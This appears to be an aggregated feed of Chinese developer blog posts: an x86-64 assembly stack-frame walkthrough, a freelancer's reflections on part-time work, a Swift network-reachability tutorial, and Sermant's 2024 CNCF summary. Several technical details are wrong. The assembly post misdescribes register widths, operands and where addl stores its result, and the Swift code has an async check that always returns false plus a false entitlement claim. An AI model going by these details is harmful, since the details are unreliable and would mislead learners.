push 和 pop 指令,是用来在寄存器和栈(主存,或者说内存条)之间进行操作的。
push 指令是将寄存器的值,保存到主存中。
pop 指令是将栈(主存)中保存的值,恢复到寄存器里。

%rbp 寄存器,是栈帧基址寄存器,存储栈中最高位数据的内存地址。 我们知道,栈是向下生长,堆是向上生长的。 栈中最高位数据的内存地址,就是栈的起始地址。

在进入 main 函数之前,我们无法确定 rbp 寄存器的值是什么。 但是由于 main 函数内部也会使用 rbp 寄存器, 所以就需要暂时把 %rbp 寄存器的值先存到栈(主存)里面, 等 main 函数处理完成之后,再从栈(主存)中将值恢复到 %rbp 寄存器。

在函数的入口处,将 %rbp 的值入栈保存,在函数的出口处出栈,这是C语言编译器的规定。
这样做是为了确保函数在调用前后,%rbp 寄存器的值不会改变,不影响 main 函数的调用者。

push 和 pop 指令只有一个操作数, 我们不需要指定将寄存器的值 push 到栈的哪个地址,以及将栈的哪个地址的值 pop 到寄存器。
是因为,对栈进行读写的内存地址,是由 %rsp 栈指针寄存器自动管理的。

push 入栈和 pop 出栈指令执行之后,%rsp 寄存器存储的栈指针的值会自动更新。
因为栈是从高地址位向低地址位生长。
push 指令是增加栈元素的操作,所以执行 push 后,%rsp 寄存器的值会 -4(64 位机器就是 -8)。
pop 指令是减少栈元素的操作,所以执行 pop 后,%rsp 寄存器的值会 +4(64 位机器就是 +8)。

将 %rbp 寄存器的值,放入栈中,这样就构造出了 main 函数的栈帧。 %rsp 寄存器存储的栈指针的值,会自动更新,指向新的栈顶。

Pasted image 20250123160446.png

(2) movq %rsp, %rbp

mov 指令有这几种:movb(8位)、movw(16位)、movl(32位)、movq(64位)
mov 指令的基本格式是:movx source, destination

上面提到 rsp 栈指针寄存器是自动管理的,而当前 %rsp 中保存的是新的栈顶。 所以这条指令的意思就是,将 %rsp 寄存器的值,传递到 %rbp 中。 也就是设置当前函数栈帧的基址,可以很方便地根据偏移访问局部变量。

Pasted image 20250123161139.png

(3) subq $16, %rsp

subq 指令表示:从寄存器或内存地址中减去一个值。 $16 是一个立即数(即字面量数值),就表示数字 16。 %rsp 是栈指针寄存器(Stack Pointer Register),用于指向当前栈的顶部。

subq $16, %rsp 表示将栈指针 rsp 减少 16 个单位,这表明要留出16个单位的空间来分配局部变量了。 因为每个局部变量都需要占据一定的空间,我们这里有两个局部变量 x 和 y, 所以让栈会向下增长 16 个单位,来为这 2 个局部变量提供存储空间。

Pasted image 20250123162454.png

(4) movl $3, -4(%rbp)

将数字3,存储到栈上的某个位置。

这个位置是从 rbp 寄存器指向的栈帧的顶部,向下偏移 4 字节的位置。

-4(%rbp) 表示当前函数栈帧中第一个局部变量的位置。

它通常用于存储简单的变量,如 int 类型的局部变量。

(5) movl $4, -8(%rbp)

将数字4,存储到栈上的某个位置。

-8(%rbp) 表示栈帧中第二个局部变量的位置。

Pasted image 20250123162652.png

(6) movl -8(%rbp), %edx

读取栈中变量 y 的值,加载到寄存器 %edx 中。

(7) movl -4(%rbp), %eax

读取栈中变量 x 的值,加载到寄存器 %eax 中。

(8) movl %edx, %esi

%edx 存储了变量 y 的值,现在复制到 %esi 寄存器中,作为第二个参数。

(9) movl %eax, %edi

%eax 存储了变量 x 的值,现在复制到 %edi 寄存器中,作为第一个参数。

在 x86-64 架构中,有一组特定的寄存器专门用来传递函数的参数。

参数位置寄存器用途
第一个参数%rdi传递第一个参数
第二个参数%rsi传递第二个参数
第三个参数%rdx传递第三个参数
第四个参数%rcx传递第四个参数
第五个参数%r8传递第五个参数
第六个参数%r9传递第六个参数

如果函数有超过 6 个参数,从第 7 个参数开始,就会通过栈传递。

你可能有疑问,上面的指令使用的是 %esi %edi 寄存器。 表格里面给出来的是 %rdi %rsi 寄存器。 那 %edi 与 %rdi 有什么区别呢?

其实,%rdi 和 %edi 指向同一个物理寄存器。只不过,

  • %rdi 是用于操作 64 位长度,也就是 8 字节,寄存器的低 8 位部分。
  • %edi 是用于操作 32 位长度,也就是 4 字节,寄存器的低 8 位部分。
  • %di 是用于操作 16 位长度,也就是 2 字节,寄存器的低 8 位部分。
  • %dil 是用于操作 8 位长度,也就是 1 字节,寄存器的低 8 位部分。

当我们使用 %edi 时,相当于修改了 %rdi 的低 32 位,高 32 位会自动清零。

根据代码中变量的类型,编译器生成汇编代码时,会使用对应的寄存器名称。

Pasted image 20250123175203.png

(10) call add_a_and_b

这行指令的意思是调用 add_a_and_b 函数。

call 指令不仅仅是跳转到指定的函数,还需要处理栈和控制流程,保证函数调用和返回之后也能正常运行。

我们知道,程序计数器,是用来存储下一条指令所在内存的地址。
CPU 的控制器,会参照程序计数器的数值,从内存中读取指令,并执行。

call 指令在将 add_a_and_b 函数的入口地址,设定到程序计数器之前,

call 指令还需要把函数调用结束后,要执行的那一条指令的地址,存储在栈中。

当函数执行完毕后,执行 ret 指令,就会把刚刚说的保存到栈中的地址,再设定到程序计数器中。

这样一来,执行流程就接续上了。

所以,call 指令背后的操作:

  • call 指令会将下一条指令的地址(也就是 call 指令执行后的那一条指令的地址)压入栈中,为了在函数执行完后能够返回到正确的地方继续执行主程序。

  • call 指令会将目标函数 add_a_and_b 的地址加载到程序计数器(%rip)中,从而跳转到目标函数开始执行。

(11) pushq %rbp

作用同(1),形成了新的函数 add_a_and_b 的帧。

Pasted image 20250123173423.png

(12) movq %rsp, %rbp

作用同(2),更新 %rbp 寄存器指针,使其指向最新的栈顶。

也就是设置当前函数栈帧的基址,可以很方便地根据偏移访问局部变量。

(13) movl %edi, -4(%rbp)

上一步,已经将 %rbp 寄存器指针指向了栈顶。

当前步骤,则是将专用传参寄存器中保存的第一个参数,恢复到栈中,栈要增长了。

(14) movl %esi, -8(%rbp)

当前步骤,也是将专用传参寄存器中保存的第二个参数,恢复到栈中,栈要增长了。

Pasted image 20250123185554.png

(15) movl -4(%rbp), %edx

将 -4(%rbp) 的值,也就是3,复制到 %eax 寄存器。

注意,-4(%rbp)的值,本质上是在栈中,CPU 必须要先把栈中的值,复制到寄存器中,才能做计算。CPU 只能对寄存器中的数据进行直接操作。

(16) movl -8(%rbp), %eax

将栈中位置 -8(%rbp) 的值,也就是8,复制到 %eax 寄存器。

%eax 是一个通用寄存器,作为 32 位操作的累加寄存器,主要用来做加法、乘法等算术运算。

(17) addl %edx, %eax

加法指令格式:ADD A,B 将 A 与 B 相加,结果存在 A 中;

将 %edx 与 %eax 中的数值相加,结果存在 %edx 中。

(18) popq %rbp

在函数结束时,需要将 %rbp 寄存器恢复为调用者的值, 以回到调用者(也就是 main 函数)的栈帧。

popq 指令执行了如下动作:

  • 从栈中取出调用者的 %rbp 值,也就是 (11) 被保存的 %rbp 的值;
  • 将这个值存储到 %rbp 中,这样就恢复成 调用者(main 函数)的 %rbp 的值;
  • 更新 %rsp,让它指向新的栈顶位置,回收栈帧。

Pasted image 20250123184701.png

(19) ret

ret 是汇编中的返回指令。 它的作用是从当前函数,返回到调用者函数的执行位置。

ret 指令从栈顶弹出返回地址(也就是 main 函数 call 指令的下一条指令的地址), 并将这个返回地址,加载到指令指针寄存器 %rip 中。

这样一来,CPU 取到的下一条要执行的指令,就接续到 main 函数中的 leave 指令了。

(20) leave

leave 指令,用于恢复栈帧。

等价于 movq %rbp, %rsp 和 popq %rbp。

  • 将 %rbp 恢复为其调用者的 %rbp。
  • 通过更新 %rsp,让它指向新的栈顶位置,回收栈帧。

Pasted image 20250123185425.png

(21) ret

ret指令的作用,在步骤(19)中已涉及

参考链接

by 坤虫debug at January 24, 2025 08:28 AM

juejin career

对兼职的一些失败的实践与思考(2)

Boss上的兼职

我在前篇说了upwork与电鸭的情况,我感到“出海”有种种障碍和困难,于是还是重点看看国内市场的机会。这次讲讲招聘app上的兼职。

Boss网页版有一个filter是可以选择是“全职”还是“兼职”

image.png 你要是搜一下的话(你得先选location是全国),有些岗位还挺多的, .Net的机会有差不多五页。你要是仔细一点你会发现基本上都是微型公司,不超过百人的那种(这是个伏笔,后面我详细讲讲)

image.png 大多数时薪/月薪也不高,普遍一两万一个月 (其实也有高的,怪自己大学毕业转行了。。。)

image.png

我一开始对这些薪资的想法是只要我水平高(找我最拿手的项目来做),做得快,一个礼拜干完别人一个月的任务,收入一样不差,后来发现我有点肤浅了。

很快我找了一个我最擅长的岗位点了“立即沟通”。

咱第一次“洽谈”兼职,干中学

我前篇的文章说过,我专长的领域国内算是很冷门,所以搜出来也就这么一个,是南京一家企业,我就这么直接联系人家了。 没想到人家表示自己还是希望找本地的,我表示咱这个岗位完全可以远程,最后对方HR答应给用人部门看看再说

过了一个周末,对方先加我微信,然后对方拉我和他们的“余总”开了一个会。 我本来想在和“余总”的自我介绍里说自己“国服t0,战绩可查”,后来还是忍住了,简单地说了下自己在这个领域非常资深。“余总”简单地讲了一下需求,说做一个审批系统+intranet,然后说他看过我的github profile,觉得我肯定可以胜任,让我和他们的技术人员对接一下,了解需求,报价。然后我就加他们技术人员微信了

要命的需求分析

对方先是扔了一个需求PPT,这个PPT风格非常地直白淳朴,毫无修饰,有一些用power apps生成的灵魂绘图。我的意思是对方看起来完全不是业内人士,咱一开始就要干很多开发之外的活了

这个“审批系统”有6个stage,还要“升版”,每次审批结束还要生成一堆文件,有些文件还要append到一起。还要生成planner task。除此之外还有一些报表上的要求。对intranet的要求这个PPT里基本没提。

然后我就用上班的空闲时间联系对方,我感觉对方PPT里给的表设计,字段设计有很多问题,整个一个大台账。而且你会发现如果你要实现“需求A”,你得先实现“需求B”,你和对方说你这里实际有个隐藏需求“需求B”,对方还不一定认,你还得耐心地“透过现象看本质”一步步给对方分析。

我在接触的过程中(2,3天过去了)发现开发的scope远比他们刚开始说的复杂,而且对方的infrastructure好像啥也没有,感觉自己还要顺便帮人家搭infrastructure,我就简单得写了一个方案,说我现在没法全面评估,希望先签一个POC的合同,先做个原型出来

一定要先问清楚预算,咱谈钱不磕碜

为了以防万一,我还是提了一下预算,但我没好意思坚持问到底

image.png 对方也没正式回答,我就这么继续聊POC了。回头想想自己还是技术气息太纯粹,出来赚钱谈预算没啥不好意思的,大家以后一定要先把预算搞清楚,免得浪费精力。

然后我就先给了我的一个POC的scope,等他们同意我再具体报这个POC的价格,我还和他们HR说这个POC估计我要报4~5万

image.png

结果对方看完之后,过了一个周末发了一个更加详细的需求要求,加了好多要求POC必做的内容(很多我都觉得不该放在POC里,我感觉对方其实也不那么懂啥是POC,啥是MVC,总之我感觉这种私活交流是有蛮大障碍的,很有可能跨服聊天),我又花了差不多一天多的时间重新整理了POC的scope,等对方认可之后开始报价

报价聊崩了

我其实一开始没想好自己应该要多少钱。

其实按照我的工资水平,我要是纯脱产的话(不把时间成本转移到我现在的单位),算上社保公积金假期,得要5000一天才能差不多到我现在的收入水平。我感觉直接这么报估计对方会有点吃不消,我现在单位确实有蛮多自己可以支配的时间,我就打了个折报了3500一天。

然后开始算POC的工时。以前都是公司的项目,估算的工时就算和实际有偏差也没啥大不了的,对于程序员来说来了需求反正做就是了刚需总归要做的。你估计完的时间项目经理还会再给一个buff,主要取决于客户有没有钱(有钱就多加点工时),然后由项目经理报给客户。如果预估和实际差别很大的话,我感觉项目经理也没啥心理压力,反正是程序员估的又不是我估的。但是这种私活项目我自己估自己报价就有心理压力,没法找别人背锅,估少了自己不愿意,估多了对方不愿意,为了估准确就得不断花时间去分析需求问对方,结果没干没签合同之前就花了不少时间。我不知道大家是怎么看私活估价的。我感觉这方面我还得学习,干中学

最后还是整理出一个很具体的报价发给对方。这个报价比原先我第一次和他们HR说的价格翻了一个倍。

中间有2个小插曲,一个是我老婆帮我用天眼查查了一下,对方注册资金只有3百万,社保只交了7个人(Boss上这家公司显示就只有20~99人,这家公司说自己是搞“量子计算”的,我还蛮好奇啥是“量子计算”)觉得对方可能不靠谱。 还有一件事情是对方技术人员一直让我加他们财务的微信,让我直接给财务报价。我就觉得很奇怪,我虽然加了对方,但是还是把POC的scope/报价发给了对方技术人员

然后对方财务在晚上十点来找我,说大大超过他们的预算,问我最低多少,整个过程很像闲鱼上被不懂行的人砍价

image.png

我觉得和财务讲信息系统真的是跨服聊天,我尽量语气平和 image.png

最后问了对方技术人员,对方表示自己不知道预算这么低

image.png

人最后一句话是从他们老总兜里掏钱得准备100页PPT。。。 大结局了。 image.png

反思

我通过这次实践,我感觉干私活(兼职)基本上赚不到啥钱。

有钱的主肯定是通过正规渠道来获取技术服务,预算不高的才来这里碰碰运气。 基本上都是小公司。 就我们开发来说,你除了开发工作之外,还要担当很多职责,项目管理,需求分析,infrastructure, user adapt,妥妥的devops,但是对方不一定为你这些额外的服务买单。假如你不能把时间成本转嫁到现在的公司,肯定是亏钱的。还是用这个时间好好学习,直接找个好公司比较好。

其实就算这单谈成我还有很多不清楚的地方,兼职收入如何避税,对方会不会要求开票,合同要咋写,怎么按照阶段收款,等等。

先到这里,要是我有什么新的兼职故事就再写一篇

by 紫电青霜362 at January 24, 2025 08:25 AM

juejin ios

iOS 检查网络连接及监听

#在Swift中,您可以使用以下步骤来获取网络权限:

#方式一:

  1. 在Info.plist文件中添加以下键值对:
<key>NSAppTransportSecurity</key>
<dict>
    <key>NSAllowsArbitraryLoads</key>
    <true/>
</dict>

这将允许您的应用程序从任何域加载任何内容,而无需先获得许可。

  1. 在应用程序的代码中,您可以使用以下代码段来检查并请求网络权限:
import UIKit
import SystemConfiguration

class ViewController: UIViewController {

    override func viewDidLoad() {
        super.viewDidLoad()
        // 检查网络连接
        if Reachability.isConnectedToNetwork(){
            print("网络已连接")
        }else{
            print("网络未连接")
        }
    }
}

public class Reachability {

    class func isConnectedToNetwork() -> Bool {

        var status:Bool = false

        let url = URL(string: "https://www.baidu.com/")

        let request = NSMutableURLRequest(url: url!)

        request.httpMethod = "HEAD"

        request.cachePolicy = NSURLRequest.CachePolicy.reloadIgnoringLocalAndRemoteCacheData

        request.timeoutInterval = 10.0

        var response:URLResponse?

        do {
            _ = try NSURLConnection.sendSynchronousRequest(request as URLRequest, returning: &response) as NSData?
            if let httpResponse = response as? HTTPURLResponse {
                if httpResponse.statusCode == 200 {
                    status = true
                }
            }

        } catch let error as NSError {
            print(error.localizedDescription)
            status = false
        }

        return status
    }

    class func isConnectedToNetwork_iOS11() -> Bool {

        var status = false

        if let url = URL(string: "https://www.baidu.com/") {

            let config = URLSessionConfiguration.default
            config.timeoutIntervalForRequest = 10.0

            let session = URLSession(configuration: config)

            let task = session.dataTask(with: url) { (_, response, error) in
                if let httpResponse = response as? HTTPURLResponse {
                    if httpResponse.statusCode == 200 {
                        status = true
                    }
                }
            }
            task.resume()
        }

        return status
    }

}

在这个例子中,我们首先导入了两个库:UIKitSystemConfiguration。然后我们创建了一个名为Reachability的公共类。这个类包含了一个名为isConnectedToNetwork()的方法,该方法通过尝试连接到一个URL来检查当前连接状态。如果连接成功,返回true,否则返回false。我们还在ViewController类的viewDidLoad()方法中使用了Reachability来检查网络连接。

  1. 如果用户没有授权网络权限,您可以使用以下代码段来向用户请求授权:

import UIKit
import SystemConfiguration

class ViewController: UIViewController {

    override func viewDidLoad() {
        super.viewDidLoad()
        // 检查网络连接
        if Reachability.isConnectedToNetwork(){
            print("网络已连接")
        }else{
            let alertController = UIAlertController(title: "网络错误", message: "请授予应用程序网络权限", preferredStyle: .alert)
            let settingsAction = UIAlertAction(title: "设置", style: .default) { (_) -> Void in

                guard let settingsUrl = URL(string: UIApplicationOpenSettingsURLString) else {
                    return
                }

                if UIApplication.shared.canOpenURL(settingsUrl) {
                    UIApplication.shared.open(settingsUrl, completionHandler: { (success) in
                        print("设置打开: \(success)")
                    })
                }
            }

            let cancelAction = UIAlertAction(title: "取消", style: .default, handler: nil)
            alertController.addAction(cancelAction)
            alertController.addAction(settingsAction)
            present(alertController, animated: true, completion: nil)
        }
    }
}

public class Reachability {

    class func isConnectedToNetwork() -> Bool {

        var status:Bool = false

        let url = URL(string: "https://www.baidu.com/")

        let request = NSMutableURLRequest(url: url!)

        request.httpMethod = "HEAD"

        request.cachePolicy = NSURLRequest.CachePolicy.reloadIgnoringLocalAndRemoteCacheData

        request.timeoutInterval = 10.0

        var response:URLResponse?

        do {
            _ = try NSURLConnection.sendSynchronousRequest(request as URLRequest, returning: &response) as NSData?
            if let httpResponse = response as? HTTPURLResponse {
                if httpResponse.statusCode == 200 {
                    status = true
                }
            }

        } catch let error as NSError {
            print(error.localizedDescription)
            status = false
        }

        return status
    }

    class func isConnectedToNetwork_iOS11() -> Bool {

        var status = false

        if let url = URL(string: "https://www.baidu.com/") {

            let config = URLSessionConfiguration.default
            config.timeoutIntervalForRequest = 10.0

            let session = URLSession(configuration: config)

            let task = session.dataTask(with: url) { (_, response, error) in
                if let httpResponse = response as? HTTPURLResponse {
                    if httpResponse.statusCode == 200 {
                        status = true
                    }
                }
            }
            task.resume()
        }

        return status
    }
}

在这个例子中,我们首先检查网络连接。如果连接失败,将弹出一个警告对话框,提示用户授予网络权限。如果用户单击“设置”按钮,应用程序将尝试打开系统设置页面。用户可以在这个页面上为应用程序授权网络权限。

#方式二:( iOS 12以上)


import UIKit
import Network

class ViewController: UIViewController {

    override func viewDidLoad() {
        super.viewDidLoad()
        // 检查网络连接
        checkNetwork()
    }

    // 检查网络连接
    func checkNetwork() {
        let monitor = NWPathMonitor()

        monitor.pathUpdateHandler = { [weak self] path in
            DispatchQueue.main.async {
                if path.status == .satisfied {
                    print("网络已连接")
                } else {
                    //询问用户是否前往设置中开启网络
                    let alertController = UIAlertController(title: "网络错误", message: "请授予应用程序网络权限", preferredStyle: .alert)
                    let settingsAction = UIAlertAction(title: "设置", style: .default) { (_) -> Void in
                        guard let settingsUrl = URL(string: UIApplication.openSettingsURLString) else {
                            return
                        }

                        if UIApplication.shared.canOpenURL(settingsUrl) {
                            UIApplication.shared.open(settingsUrl, completionHandler: { (success) in
                                print("设置打开: \(success)")
                            })
                        }
                    }

                    let cancelAction = UIAlertAction(title: "取消", style: .default, handler: nil)
                    alertController.addAction(cancelAction)
                    alertController.addAction(settingsAction)
                    self?.present(alertController, animated: true, completion: nil)
                }
            }
        }

        let queue = DispatchQueue(label: "Monitor")
        monitor.start(queue: queue)
    }
}


在iOS 12中,苹果已经引入了新的网络框架Network,在示例中我们使用了该框架来检查网络状态。代码中,我们首先创建一个NWPathMonitor对象,然后设置pathUpdateHandler回调函数,该回调函数将在网络状态发生变化时触发。如果网络状态连接正常,则输出"网络已连接",否则弹出提示框询问用户是否跳转到系统设置中开启网络。

值得注意的是,在iOS 12中,若需要使用网络功能,还需要在Info.plist文件中设置com.apple.developer.networking.networkextension权限。您可以在Xcode的App Capabilities页面中勾选Network Extensions选项,以自动添加对应的权限设置。

#监听网络连接状态

import Alamofire // 需要安装Alamofire框架

        let reachabilityManager = NetworkReachabilityManager.default
        reachabilityManager?.startListening(onUpdatePerforming: { status in
            switch status {
            case .notReachable:
                print("没有网络连接")
            case .unknown :
                print("未知网络连接状态")
            case .reachable(.ethernetOrWiFi):
                print("连接到WiFi网络")
            case .reachable(.cellular):
                print("连接到移动网络")
            }
        })

在上面的代码中,首先导入Alamofire框架,然后创建一个NetworkReachabilityManager对象。通过给listener属性赋值一个闭包块,监听网络连接状态的变化。根据不同的状态,输出相应的提示信息。最后,调用startListening()方法启动监听网络连接状态的变化。

需要注意的是,NetworkReachabilityManager类只能检测当前设备的网络连接状态,不能检测服务器状态。如果需要检测服务器状态,看下面。

##检测服务器状态


import Alamofire

let url = "https://www.example.com"

Alamofire.request(url, method: .head).response { response in
    if let statusCode = response.response?.statusCode {
        if (200...299).contains(statusCode) {
            print("服务器正常")
        } else {
            print("服务器异常")
        }
    } else {
        print("无法连接到服务器")
    }
}

在上面的代码中,首先定义了一个URL,然后使用Alamofire.request()方法发起一个HEAD请求。通过检查返回的状态码,判断服务器状态。如果状态码为200到299之间,则表示服务器正常。如果状态码不在这个范围内,表示服务器异常。如果无法连接到服务器,则输出“无法连接到服务器”的提示信息。

需要注意的是,Alamofire.request()方法会阻塞当前线程,直到服务器返回响应或发生超时。因此,在实际使用中,可能需要在其他线程或队列中执行此方法,以避免阻塞UI线程。

by 山水域 at January 24, 2025 08:22 AM

juejin career

正式成为CNCF的一员,我们是如何做到的 | Sermant 2024年度总结

作者:李来 华为云高级软件工程师 | 张豪鹏 华为云高级软件工程师

一、前言

Sermant在经历了2022年的萌芽期和2023年的快速发展后,2024年迎来了重要的突破——Sermant正式加入了CNCF(云原生计算基金会),成为云原生开源生态中的重要成员。这一年,Sermant在云原生技术生态建设、框架关键能力提升及服务治理适用场景扩展方面取得了显著进展,进一步巩固了无代理服务网格的核心基础。同时,Sermant也吸引了众多生态用户和开发者的积极参与,使得Sermant社区的活跃度和话题热度显著提高。此外,Sermant凭借其独特的技术优势,帮助企业解决微服务治理领域的诸多问题,助力更多企业在数字化转型中取得成功。

从1.x时代跨越到2.x时代,2024年Sermant焕然一新,以CNCF官方项目的身份继续推动服务治理架构的升级演进和云原生技术的融合发展。现在打开浏览器搜索JavaAgent、服务治理、云原生等关键词,Sermant相关的结果无论是数量还是排名仍然遥遥领先。

下面笔者就为各位关注Sermant社区的读者一起来盘点下Sermant的2024年度总结吧!

二、Sermant正式成为CNCF官方项目

对于Sermant来说,2024年最令人激动的莫过于Sermant正式加入了CNCF,成为基金会的Sandbox项目。

图 – Sermant成为CNCF的Sandbox项目

CNCF是全球顶级的开源基金会,尤其是在云原生领域拥有巨大的影响力。2024年10月,CNCF技术监督委员会(TOC)经过内部决议,以0反对票的结果高票通过了Sermant的加入申请。这标志着Sermant社区进入了全新的发展阶段,我们将携手基金会在云原生领域一起推动云原生技术创新发展和共建开放生态。

CNCF技术监督委员会(TOC)成员王泽锋对Sermant评价道,“服务网格是云原生生态的关键技术之一,Sermant通过字节码增强技术实现了在资源消耗、非侵入性和插件化解耦等维度的平衡,简化了Java应用大规模场景下的服务治理问题,可以降低企业微服务架构的运维和改造成本。期待着Sermant与更多的CNCF项目集成,为云原生生态系统带来更多新的活力。”

为了更好的拥抱开源,把Sermant建设成一个多元包容的开放社区,同时也为了更好的融入CNCF生态,,社区在今年做了一些组织和项目上的调整:

(1)Sermant社区所属组织变更

从Sermant 2.0.0版本开始,Sermant项目在GitHub组织名从huaweicloud变更到了sermant-io。

(2)项目GroupId调整

从Sermant 2.0.0版本开始,项目的groupId和从com.huaweicloud.sermant调整为了io.sermant

另外,为了减少各个地区开发者对Sermant的使用和沟通障碍,社区在开发、交流等都将英语作为主要使用语言。为了方便用户从零开始上手体验Sermant自定义插件开发,加深用户对Sermant开发和运行机制的了解,社区还新增了first-plugin仓库。

Sermant以CNCF官方项目的身份,将携手更多的生态伙伴、用户和开发者,在CNCF的帮助下,共同推动云原生技术的发展,共创繁荣的开源社区。

三、技术能力构建

2024年Sermant发布了1.42.02.12.2四个大版本和若干个补丁版本,在服务网格技术生态、Backend控制台能力、外部Agent管理能力、Sermant自身可观测能力等方面取得了显著的进步。我们希望通过不断地技术创新和融合,将Sermant打造成一个易用性好、兼容性强、扩展性高、性能优秀的开源项目,为社区带来极致的服务治理体验。

图 – Sermant最新2.2.0版本 Release Note

3.1 基于Sermant+Istio的无代理服务网格

为了更好地跟云原生生态Istio进行融合,替代Envoy在服务网格中的数据平面的角色,Sermant从2.0.0版本开始支持了xDS协议,具备了和Istio的控制平面直接进行通信的能力,并在此基础上实现了基于Istio配置的路由、负载均衡和流控能力。

Sermant基于xDS协议的服务治理能力采用Istio+Sermant的Sidecar无代理模式部署形态,无需启动额外的Sidecar容器,显著减少了网络调用延迟和CPU资源消耗,还提供了比Envoy更为丰富的治理功能。同时,它采用了更为简洁的架构设计,极大地降低了部署成本,并提升了系统的可扩展性。例如我们可以通过Sermant的xDS流控能力,实现服务网格中的流量治理。

图 - xDS流控功能实现原理

Sermant对xDS协议的支持介绍和性能表现可以参考博客《基于Sermant实现xDS服务网格,获取15+倍更高性能和更低成本》

3.2 Backend控制台能力提升

3.2.1 动态配置管理能力

为了让Sermant的服务治理功能能够更好的可视化管理,Backend组件新增了插件的动态配置管理功能。用户访问Sermant Backend页面,不仅可以查看Sermant的运行状态,还可以进行配置管理的相关操作。

下图为动态配置管理页面,用户可以在页面上更方便的管理插件配置,按照真实运维场景的需求动态地调整微服务的治理规则。动态配置能力在微服务治理场景中的应用可以阅读相关播客《Sermant Backend配置管理功能在微服务治理场景中的应用》

图 – Backend动态配置管理页面

3.2.2 插件管理能力

为了方便用户更好的管理自己的插件,Backend新增了对插件热插拔、热更新管理的可视化支持。用户可以直接在Backend的实例状态管理页面中对指定服务实例上的插件进行一键卸载、安装、更新操作,如下图所示。命令执行成功后,可以在实例状态页面查看已经安装的插件的信息;在事件管理页面也可以收到插件安装、卸载的事件详情。

图 – Backend插件热插拔操作页面

插件管理能力在故障注入、插件版本升级等场景可以发挥重要作用,以故障注入场景为例,当用户想注入新的故障时,就可以通过插件动态安装的方式将新的故障注入到宿主应用中以达到目的。

插件管理能力的使用请参考热插拔服务

3.3 外部Agent管理能力提升

在 JVM 启动时,宿主微服务是支持多个 JavaAgent 同时挂载生效的。通过挂载多个 Agent 可以快速集成多种监控、运维、服务治理的功能,不过多个 JavaAgent 同时运行可能会引入兼容性问题。

为了更好的管理多个Agent, Sermant新增支持挂载外部 Agent,并特别对OpenTelemetry做了兼容性支持和验证,在多场景功能需求和模块化解耦等方面具有很大的价值。

例如我们可以在使用 Sermant 实现流量治理的同时挂载OpenTelemetry 实现链路追踪。 通过Backend可以对关键事件进行观测,如下图所示

图 – Backend页面展示挂载外部Agent上报的事件

具体使用方式请参考在Sermant中使用和管理外部JavaAgent 文档

3.4 Sermant自身可观测能力

为满足用户对Sermant运行状态和性能的实时监控需求,以及对插件行为的深入洞察,Sermant新增了指标服务,允许用户通过Prometheus等监控工具收集和展示Sermant的核心指标和插件的自定义指标,目前路由插件已接入指标服务,实现了路由过程可观测的能力。

以router_request_count指标为例,该指标用于记录服务路由请求的次数,用于对下游服务实例的负载压力进行观测,效果如下图所示。

图 – Prometheus展示上报的指标

指标服务的使用请参考指标服务文档

3.5服务治理功能和使用场景扩展

在插件层面,2024年我们对现有插件还做了不少优化,例如路由插件新增了对于dubbo3和SpringBoot3的支持;SpringBoot注册插件新增支持Nacos等。另外,Sermant还新增了数据库禁写、RocketMQ灰度消息等微服务治理能力。通过这些能力Sermant可以在异地多活和全链路灰度等场景发挥更重要的作用。

例如在全链路灰度场景,RocketMQ灰度消息将全链路灰度的应用扩展到了中间件,通过RocketMQ灰度消息,用户可以使用灰度版本的微服务实例来生产或者消费灰度消息,满足灰度发布在业务场景中定向生产和消费MQ消息的需要,降低开发风险和试错成本,助力快速敏捷迭代。

图 – rocketMQ灰度消息在全链路灰度场景下的应用

3.6 其他优化

为了提升用户的使用体验,我们还对Sermant的启动耗时做了优化,开启预过滤启动加速后,由Sermant带来的额外的JVM启动时长降低超过65%,应用自身的启动时长降低超过90%。尤其对于CPU和内存资源较为紧张的场景,优化效果更为明显。预过滤启动加速机制的详细性能测试结果请参考性能基准测试

四、开源社区建设

健康的开源社区是一个开源项目能够持续发展的基础,2023年开始我们和社区的用户和开发者进行了很多线上和线下的交流,2024年我们和社区参与者、贡献者、维护者建立了更有效的沟通渠道,推动了开放共享社区的进一步建设。

4.1 用户案例

得益于Sermant在解决微服务治理问题、架构转型升级等方面的持续耕耘,我们已经积累的众多的社区用户,如零束科技、鲸灵集团、用友汽车、元保科创、马上消费、运车网、多比特、海管家等,覆盖金融、汽车、电商、物流、手游等各个行业。

在多比特小游戏出海场景下,通过集成Sermant成功构建了服务可视化系统,整合服务监控、调用链、日志系统,并持续推动服务治理平台的构建,解决服务治理功能接入难、升级难、开发成本高的问题。目前所有微服务已经全量接入Sermant,后续在框架下对业务无感的持续提升各项能力,独立迭代。

图 - 多比特利用Sermant实现微服务治理

 在电商行业的全链路灰度方案设计里,我们的社区用户利用Sermant实现了具有全链路一致性、高扩展性、动态调整能力的方案。公共组件通过插件化形式提供,减少了业务侧频繁进行 SDK 升级的工作量,大幅降低了升级推动的难度与成本。有效节省 20%以上的运维成本和业务沟通成本,提升了整体协同效率。

图 - 某电商企业基于Sermant实现的全链路灰度方案

以上应用案例我们还有很多,在此不一一列出。未来我们将把开源社区用户的落地实践集合成典型案例的系列,给更多的开源社区用户以参考和启发,辐射更多行业来帮助解决企业微服务架构的转型和演进问题,敬请期待。

4.2 开源社区参与和贡献

在过去的一年中,我们通过微信群答疑、Issue解答等方式帮助许多企业用户和开发者解决了在服务治理结构选型和演进、接入Sermant落地实践过程中的关键问题,消除了服务治理场景中的许多痛点。

  

图 – 帮助用户和开发者解决使用过程中遇到的问题

在这过程中也吸引了很多开发者和我们一起参与社区代码贡献,不仅帮助我们解决使用中的一些问题,还给我们提供的一些关键特性代码,如SpringBoot注册插件支持Nacos、指标服务等。

为了更加方便倾听社区的声音,与开发者们共同构建开放的社区生态,我们定期组织社区例会,在会议中介绍Sermant的最新动态和后续的发展方向,倾听企业用户的真实诉求,与开发者们共同探讨Sermant下个阶段的技术构建计划。

除了社区例会,我们今年也与一些用户进行了线下的深入交流,给用户阐述Sermant能够给用户带来什么价值,能在哪些用户真实场景下的落地应用。

图 – Sermant与社区用户面对面交流

Sermant开源社区生态的不断完善,也需要感谢社区的各位Maintainer对社区的规划与治理,在此也特别感谢@zwmagic等对社区的杰出贡献。我们定期召开Maintainer会议来讨论后续社区的规划和治理方案,努力共同把Sermant开源社区建设的更好。Sermant社区也希望更多的志同道合的同学能加入进来,成为我们的maintainer和committer等关键角色,一起为社区建设添砖加瓦。

4.4 开源活动

2024年,Sermant运营团队活跃于各大开源峰会和活动中,持续与开发者们进行面对面的深入交流。 例如在2024年11月初举行的中国开源年会上,Sermant开办了活动展台,并在云原生分论坛分享了主题演讲。会议期间,我们还和元保科技、马上消费的社区用户进行了深入交流。

